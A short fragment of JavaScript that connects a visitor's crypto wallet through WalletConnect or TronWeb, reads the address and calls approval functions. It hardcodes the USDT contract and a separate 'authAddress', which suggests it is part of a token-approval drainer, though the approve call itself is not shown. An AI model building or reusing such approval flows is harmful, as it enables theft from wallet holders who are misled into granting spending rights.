| | |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }) |
| | | await provider.enable(); |
| | | provider.on("accountsChanged", (accounts) => { |
| | | alert(accounts[0]+'换啦') |
| | | // proxy.walletAddress = accounts[0]; |
| | | // proxy.isApprove() |
| | | }); |
| | | provider.on("disconnect", (code, reason) => { |
| | | alert('断开啦') |
| | | }); |
| | | // provider.on("accountsChanged", (accounts) => { |
| | | // alert(accounts[0]+'换啦') |
| | | // }); |
| | | // provider.on("disconnect", (code, reason) => { |
| | | // alert('断开啦') |
| | | // }); |
| | | proxy.web3 = new Web3(provider); |
| | | console.log(new Web3(provider)) |
| | | const accounts = await proxy.web3.eth.getAccounts(); |
| | | proxy.walletAddress = accounts[0]; |
| | | proxy.isApprove() |
| | |
| | | }else if(window.tronWeb){ |
| | | this.tornWebApprove() |
| | | }else{ |
| | | // const provider = new WalletConnectProvider({ |
| | | // infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | // bridge: "https://bridge.walletconnect.org", |
| | | // }) |
| | | // let web3 = new Web3(provider); |
| | | console.log(this.web3) |
| | | const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; |
| | | const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; |